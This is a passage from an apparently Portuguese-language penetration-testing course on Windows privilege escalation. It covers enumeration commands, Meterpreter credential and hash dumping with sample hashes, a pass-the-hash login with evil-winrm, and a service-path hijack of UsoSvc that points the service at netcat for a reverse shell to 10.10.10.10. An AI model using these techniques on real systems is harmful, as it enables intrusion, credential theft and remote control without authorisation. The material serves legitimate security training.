End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
...
```

Comando de prompt 19 – Listando todas as tarefas agendadas
Fonte: Elaborado pelo autor (2021)

A saída gerada por **schtasks** inclui muitas informações úteis, como a tarefa a ser executada, a próxima vez que ela deve ser executada, a última vez que ela foi executada e detalhes sobre a frequência em que será executada.

5.2.8 Enumerando aplicações instaladas e níveis de patch

Em algum ponto, podemos precisar alavancar uma exploração para escalar nossos privilégios locais. Nesse caso, nossa busca por um *exploit* funcional começa com a enumeração de todos os aplicativos instalados, observando a versão de cada um (bem como o nível de patch do sistema operacional em sistemas baseados no Windows). Podemos usar essas informações para procurar um *exploit* correspondente.

A pesquisa manual dessas informações pode ser muito demorada e ineficaz. No entanto, podemos aproveitar o utilitário muito poderoso baseado no Windows, **wmic**, para automatizar esse processo em sistemas Windows.

O utilitário **wmic** fornece acesso à Instrumentação de Gerenciamento do Windows, que é a infraestrutura para dados de gerenciamento e operações no Windows. Podemos usar **wmic** com o argumento de classe **product** WMI seguido por **get**, que, como o nome indica, é usado para recuperar valores de propriedade específicos. Escolhemos, então, as propriedades nas quais estamos interessados, como **nome**, **versão** e **fornecedor**.

É importante ter em mente que a classe WMI do produto lista apenas os aplicativos instalados pelo Windows Installer. Não listará os aplicativos que não usam o Windows Installer.

```
c:\Users\student>wmic product get name, version, vendor
Name Vendor Version
Microsoft OneNote MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office OSM MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office Standard 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office OSM UX MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office Shared Setup Metadata MUI Microsoft Corporation 16.0.4266.1001
Microsoft Excel MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft PowerPoint MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Publisher MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Outlook MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Groove MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Word MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office Proofing (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office Shared MUI (English) 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Office Proofing Tools 2016 - Microsoft Corporation 16.0.4266.1001
Herramientas de corrección de Microsoft Microsoft Corporation 16.0.4266.1001
Outils de vérification linguistique 2016 Microsoft Corporation 16.0.4266.1001
Microsoft Visual C++ 2017 x86 Additional Microsoft Corporation 14.12.25810
FortiClient Fortinet Inc 5.2.3.0633
Python 2.7.14 Python Software Foundation 2.7.14150
VMware Tools VMware, Inc. 10.3.10.1240696
Microsoft Visual C++ 2017 x86 Minimum Microsoft Corporation 14.12.25810
Microsoft Visual C++ 2008 Redistributable Microsoft Corporation 9.0.30729.4148
```

Comando de prompt 20 – Listando todas as aplicações instaladas

Fonte: Elaborado pelo autor (2021)

As informações sobre os aplicativos instalados podem ser úteis à medida que procuramos ataques de escalonamento de privilégios.

Da mesma forma, e mais importante, **wmic** também pode ser usado para listar atualizações de todo o sistema, consultando a classe *Win32_QuickFixEngineering* (*qfe*) WMI.

```
c:\Users\student>wmic qfe get Caption, Description, HotFixID, InstalledOn
Caption Description HotFixID InstalledOn
Update KB2693643 4/7/2018
http://support.microsoft.com/?kbid=4088785 Security Update KB4088785 3/31/2018
http://support.microsoft.com/?kbid=4090914 Update KB4090914 3/31/2018
http://support.microsoft.com/?kbid=4088776 Security Update KB4088776 3/31/2018
```

Comando de prompt 21 – Listando todos os patches de segurança instalados
Fonte: Elaborado pelo autor (2021)

Uma combinação das informações **HotFixID** e **InstalledOn** pode nos fornecer uma indicação precisa da postura de segurança do sistema operacional Windows de destino. De acordo com essa saída, esse sistema não foi atualizado recentemente, o que pode torná-lo mais fácil de explorar.

5.2.9 Enumerando diretórios e arquivos com permissão de leitura/escrita

Como mencionamos anteriormente, os arquivos com restrições de acesso insuficientes podem criar uma vulnerabilidade que concede privilégios elevados a um invasor. Isso geralmente acontece quando um invasor pode modificar scripts ou arquivos binários que são executados no contexto de uma conta privilegiada.

Além disso, arquivos confidenciais lidos por um usuário sem privilégios podem conter informações importantes, como credenciais codificadas para um banco de dados ou conta de serviço.

Como não é viável verificar manualmente as permissões de cada arquivo e diretório, precisamos automatizar essa tarefa o máximo possível.

Existem vários utilitários e ferramentas que podem automatizá-la para nós em uma plataforma Windows.

O AccessChk da SysInternals é, indiscutivelmente, a ferramenta mais conhecida e frequentemente usada para esse propósito.

No Comando de prompt “Listando todos os arquivos e diretórios com permissão de escrita em um destino especificado”, demonstraremos como usar o AccessChk para localizar um arquivo com permissões de arquivo inseguras no diretório **Program Files**. Observe que o arquivo binário de destino foi simplesmente criado para os fins desse exercício.

Especificamente, enumeraremos o diretório **Program Files** em busca de qualquer arquivo ou diretório que conceda ao grupo Todos nas permissões de gravação.

Usaremos **-u** para suprimir erros; **-w** para pesquisar permissões de acesso de gravação; e **-s** para realizar uma pesquisa recursiva. Também vale a pena explorar as opções adicionais, pois essa ferramenta é muito útil.

```
c:\Tools\privilege_escalation\SysinternalsSuite>accesschk.exe -uws
"Everyone" "C:\Program Files"

Accesschk v6.12 - Reports effective permissions for securable objects

Copyright (C) 2006-2017 Mark Russinovich

Sysinternals - www.sysinternals.com

RW C:\Program Files\TestApplication\testapp.exe
```

Comando de prompt 22 – Listando todos os arquivos e diretórios
com permissão de escrita em um destino especificado
Fonte: Elaborado pelo autor (2021)

Na lista acima, o AccessChk identificou com sucesso um arquivo executável que pode ser escrito por todos. Se esse arquivo fosse executado por um usuário privilegiado ou uma conta de serviço, poderíamos tentar sobrescrevê-lo com um arquivo malicioso de nossa escolha, como um *shell* reverso, a fim de elevar nossos privilégios. Apresentaremos um exemplo de trabalho semelhante, posteriormente neste módulo.

Também podemos atingir o mesmo objetivo usando o PowerShell. Isso é útil em situações em que não podemos transferir e executar arquivos binários arbitrários em nosso sistema de destino.

O comando do PowerShell, em si, pode parecer um tanto complexo, então, examinaremos as opções.

O cmdlet principal que estamos usando é **Get-Acl**, que recupera todas as permissões para um determinado arquivo ou diretório. No entanto, como **Get-Acl** não pode ser executado recursivamente, também estamos usando o cmdlet **Get-ChildItem** para primeiro enumerar tudo no diretório **Program Files**. O que recuperará efetivamente cada objeto em nosso diretório de destino junto com todas as permissões de acesso associadas.

A propriedade `AccessToString` com o sinalizador **-match** restringe os resultados às propriedades de acesso específicas que estamos procurando. No nosso caso, estamos procurando por qualquer objeto que possa ser modificado (Modificar) por membros do grupo Todos.

```
PS C:\Tools\privilege_escalation\SysinternalsSuite>Get-ChildItem "C:\Program Files"
-Recurse | Get-Acl | ?{$_.AccessToString -match "Everyone\sAllow\sModify"}
Directory: C:\Program Files\TestApplication
Path Owner Access
-----
testapp.exe BUILTIN\Administrators Everyone Allow Modify, Synchronize...
```

Comando de prompt 23 – Listando todos os arquivos e diretórios
com permissão de escrita em um destino especificado usando PowerShell
Fonte: Elaborado pelo autor (2021)

Nesse caso, a saída é idêntica à do `AccessChk`. Essa sequência de comando permite opções de formatação adicionais.

5.2.10 Enumerando discos não montados

Na maioria dos sistemas, as unidades são montadas automaticamente no momento da inicialização. Por causa disso, é fácil esquecer as unidades não montadas que podem conter informações valiosas. Devemos sempre procurar por drives não montados. Se eles existirem, verifique as permissões de montagem.

Podemos usar **mountvol** para listar todas as unidades que estão montadas atualmente, bem como aquelas que estão fisicamente conectadas, mas não montadas.

```
c:\Users\student>mountvol
Creates, deletes, or lists a volume mount point.
...
```

Possible values for VolumeName along with current mount points are:

```
\\?\Volume{25721a7f-0000-0000-0000-100000000000}\
```

```
*** NO MOUNT POINTS ***
```

```
\\?\Volume{25721a7f-0000-0000-0000-602200000000}\
```

```
C:\
```

```
\\?\Volume{78fa00a6-3519-11e8-a4dc-806e6f6e6963}\
```

```
D:\
```

Comando de prompt 24 – Listando todas as unidades disponíveis para montar
Fonte: Elaborado pelo autor (2021)

Nesse caso, o sistema tem dois pontos de montagem que são mapeados para as unidades **C:** e **D:**, respectivamente. Também observamos que temos um volume com o identificador globalmente exclusivo (GUID) 25721a7f-0000-0000-0000-100000000000, que não tem ponto de montagem. Isso pode ser interessante e vamos querer investigar mais.

5.2.11 Enumerando drivers de dispositivo e módulos de kernel

Outro escalonamento de privilégios comum envolve a exploração de drivers de dispositivo e módulos do kernel.

Uma vez que essa técnica depende da correspondência de vulnerabilidades com *exploits*, precisaremos compilar uma lista de drivers e módulos de kernel que são carregados no destino.

Podemos começar nossa pesquisa com o comando **driverquery**. Forneceremos o argumento **/v** para saída detalhada e **/fo csv** para solicitar a saída no formato CSV.

Para filtrar a saída, executaremos esse comando dentro de uma sessão do **PowerShell**. No PowerShell, enviaremos a saída para o cmdlet *ConvertFrom-Csv* e para *Select-Object*, que nos permitirá selecionar propriedades de objeto específicas ou conjuntos de objetos, incluindo nome de exibição, modo inicial e caminho.

```
c:\Users\student>powershell
PS C:\Users\student> driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path
Display Name Start Mode Path
```

```
-----  
1394 OHCI Compliant Host Controller Manual  
C:\Windows\system32\drivers\1394ohci.s  
3ware Manual C:\Windows\system32\drivers\3ware.sys  
Microsoft ACPI Driver Boot C:\Windows\system32\drivers\ACPI.sys  
ACPI Devices driver Manual C:\Windows\system32\drivers\AcpiDev.sy  
Microsoft ACPIEx Driver Boot C:\Windows\system32\Drivers\acpiex.sys  
ACPI Processor Aggregator Driver Manual C:\Windows\system32\drivers\acpipagr.s  
ACPI Power Meter Driver Manual C:\Windows\system32\drivers\acpipmi.sy  
ACPI Wake Alarm Driver Manual C:\Windows\system32\drivers\acpitime.s  
ADP80XX Manual C:\Windows\system32\drivers\ADP80XX.SY
```

Comando de prompt 25 – Listando drivers carregados
Fonte: Elaborado pelo autor (2021)

Enquanto esse comando produziu uma lista de drivers carregados, devemos dar outro passo para solicitar o número da versão de cada driver carregado. Usaremos o cmdlet *Get-WmiObject* para obter a instância *Win32_PnPSignedDriver* WMI, que fornece informações de assinatura digital sobre drivers.

Redirecionando a saída para *Select-Object*, enumeraremos propriedades específicas, incluindo *DriverVersion*. Além disso, podemos direcionar especificamente os drivers com base em seus nomes, enviando a saída para *Where-Object*.

```
c PS C:\Users\student> Get-WmiObject Win32_PnPSignedDriver | Select-Object  
DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like  
"*VMware*"}  
DeviceName DriverVersion Manufacturer  
-----  
VMware VMCI Host Device 9.8.6.0 VMware, Inc.  
VMware PVSCSI Controller 1.3.10.0 VMware, Inc.  
VMware SVGA 3D 8.16.1.24 VMware, Inc.  
VMware VMCI Bus Device 9.8.6.0 VMware, Inc.  
VMware Pointing Device 12.5.7.0 VMware, Inc.
```

Comando de prompt 26 – Listando versões de driver
Fonte: Elaborado pelo autor (2021)

Agora que temos uma lista de todos os drivers de dispositivo VMware carregados junto com os respectivos números de versão, podemos pesquisar *exploits* para esses drivers específicos.

5.2.12 Enumerando binários com AutoElevate

Existem algumas enumerações que devemos cobrir nesta seção que podem revelar interessantes “atalhos” específicos do sistema operacional para o escalonamento de privilégios.

Primeiro, devemos verificar o status do registro *AlwaysInstallElevated*. Se essa chave estiver habilitada (definida como 1) em **KEY_CURRENT_USER** ou **HKEY_LOCAL_MACHINE**, qualquer usuário pode executar pacotes do Windows Installer com privilégios elevados.

Podemos usar a consulta **reg** para verificar essas configurações:

```
c:\Users\student>reg query
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
c:\Users\student>reg query
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
```

Comando de prompt 27 – Buscando pelos valores do registro AlwaysInstalledElevated
Fonte: Elaborado pelo autor (2021)

Se essa configuração estiver habilitada, poderemos criar um arquivo MSI e executá-lo para elevar nossos privilégios.

6 ENUMERAÇÃO AUTOMATIZADA

Obviamente, cada sistema operacional contém uma grande quantidade de informações que podem ser usadas para outros ataques. Independentemente do sistema operacional de destino, coletar essas informações detalhadas manualmente pode ser muito demorado. Felizmente, podemos usar vários scripts para automatizar esse processo.

Um desses scripts é o **windows-privesc-check**, que pode ser encontrado no repositório do Github: <https://github.com/pentestmonkey/windows-privesc-check>. O

repositório já inclui um executável do Windows gerado pelo PyInstaller, mas também pode ser reconstruído conforme necessário.

Executar o executável com o sinalizador **-h** nos apresenta o seguinte menu de ajuda:

```
c:\Tools\privilege_escalation\windows-privesc-check-master>windows-privesc-check2.exe -h
windows-privesc-check v2.0 (http://pentestmonkey.net/windows-privesc-check)
Usage: windows_privesc_check.exe (--dump [ dump opts] | --dumptab | --audit)
[examine
opts] [host opts] -o report-file-stem
Options:
--version show program's version number and exit
-h, --help show this help message and exit
--dump Dumps info for you to analyse manually
--dumptab Dumps info in tab-delimited format
--audit Identify and report security weaknesses
--pyshell Start interactive python shell
examine opts:
At least one of these to indicate what to examine (*=not implemented)
-a, --all All Simple Checks (non-slow)
-A, --allfiles All Files and Directories (slow)
-D, --drives Drives
-e, --reg_keys Misc security-related reg keys
-E, --eventlogs Event Log*
-f INTERESTING_FILE_LIST, --interestingfiledir=INTERESTING_FILE_LIST
Changes -A behaviour. Look here INSTEAD
-F INTERESTING_FILE_FILE, --interestingfilefile=INTERESTING_FILE_FILE
Changes -A behaviour. Look here INSTEAD. On dir per
line
-G, --groups Groups
-H, --shares Shares
-I, --installed_software
Installed Software
-j, --tasks Scheduled Tasks
-k, --drivers Kernel Drivers
...
```

Comando de prompt 28 – Saída do executável gerado pelo PyInstaller
Fonte: Elaborado pelo autor (2021)

Essa ferramenta aceita muitas opções, mas veremos alguns exemplos rápidos. Primeiro, listaremos informações sobre os grupos de usuários no sistema.

Especificaremos o autoexplicativo **--dump** para visualizar a saída e **-G** para listar grupos.

```
c:\Tools\privilege_escalation\windows-privesc-check-master>windows-privesc-check2.exe --dump -G
windows-privesc-check v2.0 (http://pentestmonkey.net/windows-privesc-check)
[i] TSUserEnabled registry value is 0. Excluding TERMINAL SERVER USER
Considering these users to be trusted:
* BUILTIN\Power Users
* BUILTIN\Administrators
* NT SERVICE\TrustedInstaller
* NT AUTHORITY\SYSTEM
[i] Running as current user. No logon creds supplied (-u, -D, -p).
...
===== Starting Audit at 2019-09-22 12:45:56 =====
[+] Running: dump_misc_checks
[+] Host is not in domain
[+] Checks completed
[+] Running: dump_groups
[+] Dumping group list:
BUILTIN\Administrators has member: CLIENT251\Administrator
BUILTIN\Administrators has member: CLIENT251\admin
BUILTIN\Administrators has member: [unknown]\S-1-5-21-2715734670-1758985447-1278008508
BUILTIN\Administrators has member: [unknown]\S-1-5-21-2715734670-1758985447-1278008508
BUILTIN\Guests has member: CLIENT251\Guest
BUILTIN\IIS_IUSRS has member: NT AUTHORITY\IUSR
BUILTIN\Remote Desktop Users has member: CLIENT251\student
BUILTIN\Users has member: NT AUTHORITY\INTERACTIVE
BUILTIN\Users has member: NT AUTHORITY\Authenticated Users
BUILTIN\Users has member: CLIENT251\student
BUILTIN\Users has member: [unknown]\S-1-5-21-2715734670-1758985447-1278008508-513
[+] Checks completed
```

Comando de prompt 29 – Saída do windows-privesc-check

Fonte: Elaborado pelo autor (2021)

O script é executado com sucesso e somos apresentados às informações sobre os grupos de segurança no sistema.

7 ESCALONAMENTO DE PRIVILÉGIOS COM METERPRETER

Conforme vimos anteriormente, o Metasploit é uma ferramenta amplamente completa para o processo de Pentest, contando com módulos que auxiliam o analista desde as fases iniciais do teste até a fase de pós-exploração. Especificamente, o Meterpreter – shell interativo com módulos e comandos destinados ao processo de pós-exploração – é uma ferramenta fundamental no dia a dia de um Pentester.

Um dos módulos presentes no Meterpreter, e extremamente útil durante o processo de pós-exploração, é o **credential_collector**, responsável por tentar capturar credenciais no host-alvo.

```
meterpreter > run post/windows/gather/credentials/credential_collector

[*] Running module against V-MAC-XP
[+] Collecting hashes...
  Extracted:
Administrator:7bf4f254f224bb24aad3b435b51404ee:2892d23cdf84d7a70e2eb2b9f05c425e
  Extracted:
Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
  Extracted:
HelpAssistant:2e61920ebe3ed6e6d108113bf6318ee2:5abb944dc0761399b730f300dd474714
  Extracted:
SUPPORT_388945a0:aad3b435b51404eeaad3b435b51404ee:92e5d2c675bed8d4dc6b74ddd9b4c287
[+] Collecting tokens...
  NT AUTHORITY\LOCAL SERVICE
  NT AUTHORITY\NETWORK SERVICE
  NT AUTHORITY\SYSTEM
  NT AUTHORITY\ANONYMOUS LOGON
meterpreter >
```

Comando de prompt 30 – Escalonamento com Meterpreter I
Fonte: Elaborado pelo autor (2021)

Já o módulo **enum_logged_on_users** é responsável por identificar os usuários logados no host-alvo.


```
meterpreter > run post/windows/gather/enum_logged_on_users

[*] Running against session 1

Current Logged Users
=====

SID                      User
---                      ----
S-1-5-21-628913648-3499400826-3774924290-1000 WIN7-X86\victim
S-1-5-21-628913648-3499400826-3774924290-1004 WIN7-X86\hacker

[*] Results saved in:
/root/.msf4/loot/20170501172925_pwk_192.168.0.6_host.users.activ_736219.txt

Recently Logged Users
=====

SID                      Profile Path
---                      -
S-1-5-18                  %systemroot%\system32\config\systemprofile
S-1-5-19                  C:\Windows\ServiceProfiles\LocalService
S-1-5-20                  C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-628913648-3499400826-3774924290-1000 C:\Users\victim
S-1-5-21-628913648-3499400826-3774924290-1004 C:\Users\hacker

meterpreter >
```

Comando de prompt 31 – Escalonamento com Meterpreter II
Fonte: Elaborado pelo autor (2021)

O módulo **hashdump** se torna um grande aliado para ataques do tipo “**Pass-The-Hash**”, quando o atacante (ou, em nosso caso, o Pentester) consegue capturar o hash da senha de um usuário e o utiliza para fazer o login.

```
meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
```

```
Administrator:500:7bf4f254b222ab21aad3b435b51404ee:2792d23cdf84d1a70e2eb3
b9f05c425e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
089c0:::
HelpAssistant:1000:2e61920ebe3ed6e6d108113bf6318ee2:5abb944dc0761399b730
f300dd474714:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:92e5d2c675be
d8d4dc6b74ddd9b4c287:::
```

```
meterpreter >
```

Comando de prompt 32 – Escalonamento com Meterpreter III
 Fonte: Elaborado pelo autor (2021)

De posse do hash da senha do usuário e do login dele, é possível utilizar o PTH.exe (disponível no Kali Linux) ou o [Evil-WinRM](https://github.com/Hackplayers/evil-winrm) (<https://github.com/Hackplayers/evil-winrm>) para realizar o login com as credenciais obtidas e, assim, escalar privilégios no alvo.

```
ruby evil-winrm.rb -i 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79
```

```
Evil-WinRM shell v2.3
```

```
Info: Establishing connection to remote endpoint
```

```
*Evil-WinRM* PS C:\Users\user\Documents>
```

Comando de prompt 33 – eVIL-WINRM
 Fonte: Elaborado pelo autor (2021)

Voltando ao Meterpreter, ainda temos a opção de pesquisar por *exploits* para aplicações localmente instaladas e para o Kernel do alvo, por meio do módulo **local_exploit_suggester**.

```
msf > use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > show options
```

```
Module options (post/multi/recon/local_exploit_suggester):
```

Name	Current Setting	Required	Description
----	-----	-----	-----

SESSION	2	yes	The session to run this module on.
SHOWDESCRIPTION	false	yes	Displays a detailed description for the available exploits

```
msf post(local_exploit_suggester) > run
```

```
[*] 192.168.101.129 - Collecting local exploits for x86/windows...
[*] 192.168.101.129 - 31 exploit checks are being tried...
[+] 192.168.101.129 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated.
[+] 192.168.101.129 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.101.129 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.101.129 - exploit/windows/local/ms15_004_tswbproxy: The target service is running, but could not be validated.
[+] 192.168.101.129 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[*] Post module execution completed
```

Comando de prompt 34 – local_exploit_suggester

Fonte: Elaborado pelo autor (2021)

8 ESCALONAMENTO MANUAL DE PRIVILÉGIOS (POWERSHELL)

O escalonamento de privilégios em Sistemas Windows é uma verdadeira arte, pois, muitas vezes, podem ser utilizadas *features* do próprio sistema para auxiliar o Pentester no processo de pós-exploração.

Uma técnica recente e muito eficaz é o abuso de configurações de serviços com permissões incorretas (EoP). Com isso, um serviço rodando como Administrador/SYSTEM com permissões incorretas em arquivos de configuração podem permitir o ataque por EoP somente por alterar o caminho do binário desse serviço por um binário malicioso, *restartando* o serviço e obtendo acesso privilegiado.

O script abaixo, em PowerShell, realiza a busca por serviços configurados incorretamente no sistema.

```
$ for /f "tokens=2 delims='=" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32") do @echo %a >> c:\windows\temp\permissions.txt
```

```
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c  
icacls "%a"  
  
$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt  
FOR /F %i in (Servicenames.txt) DO echo %i  
type Servicenames.txt  
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt  
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>  
path.txt
```

Comando de prompt 35 – Escalonamento com PowerShell I

Fonte: Elaborado pelo autor (2021)

No entanto, você pode realizar a busca de forma manual com os comandos abaixo.

```
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v  
"C:\Windows\\" |findstr /i /v ""
```

Comando de prompt 36 – Escalonamento com PowerShell II

Fonte: Elaborado pelo autor (2021)

```
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\"  
|findstr /i /v ""
```

Comando de prompt 37 – Escalonamento com PowerShell III

Fonte: Elaborado pelo autor (2021)

Um exemplo de uso dessa técnica é o abordado na CVE-2019-1322 do serviço UsoSvc, o qual pode ser explorado por meio da sequência descrita acima e demonstrada no Comando de prompt “Escalonamento com PowerShell IV”.

```
PS C:\Windows\system32> sc.exe stop UsoSvc  
PS C:\Windows\system32> sc.exe config usosvc  
binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e  
cmd.exe"  
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-  
svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"  
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd \c C:\Users\nc.exe  
10.10.10.10 4444 -e cmd.exe"  
PS C:\Windows\system32> sc.exe qc usosvc  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: usosvc  
        TYPE               : 20  WIN32_SHARE_PROCESS
```

```
START_TYPE      : 2  AUTO_START (DELAYED)
ERROR_CONTROL   : 1  NORMAL
BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10
4444 -e cmd.exe
LOAD_ORDER_GROUP :
TAG             : 0
DISPLAY_NAME     : Update Orchestrator Service
DEPENDENCIES     : rpcss
SERVICE_START_NAME : LocalSystem
```

```
PS C:\Windows\system32> sc.exe start UsoSvc
```

Comando de prompt 38 – Escalonamento com PowerShell IV
Fonte: Elaborado pelo autor (2021)

Repare que, nesse exemplo, o binário do serviço foi substituído pelo binário do NetCat. Executado como Administrador/SYSTEM, garante um acesso remoto com os mesmos privilégios desse usuário para o atacante.

Mais exemplos de casos de uso podem ser encontrados no repositório [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) (<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>) no Github, um dos mais atualizados da Internet.

9 CONCLUSÃO

Independentemente do método ou técnica escolhida, o mais importante para um Pentester (e, obviamente, não só durante o processo de pós-exploração) é o mindset. Ter uma “mentalidade ofensiva” leva o Pentester a desenvolver criatividade durante um teste para testar novas possibilidades. Não obstante a isso, outro fator crucial é a prática... treine com exaustão, desafie-se diariamente e nunca, mas nunca, se acomode na zona de conforto.

REFERÊNCIAS

ABSOLOMB. **Windows Privilege Escalation Guide**. 2018. Disponível em: <<https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/>>. Acesso em: 20 abr. 2021.

FUZZYSECURITY. **Windows Privilege Escalation Fundamentals**. [s.d]. Disponível em: <<https://www.fuzzysecurity.com/tutorials/16.html>>. Acesso em: 20 abr. 2021.

GITHUB. **Hackplayers/evil-winrm**. [s.d]. Disponível em: <<https://github.com/Hackplayers/evil-winrm>>. Acesso em 17 mai. 2021.

GITHUB. **swisskyrepo/PayloadsAllTheThings**. [s.d]. Disponível em: <<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>>. Acesso em: 17 mai. 2021.

GITHUB. **Windows Privilege Escalation**. [s.d]. Disponível em: <<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>>. Acesso em: 20 abr. 2021.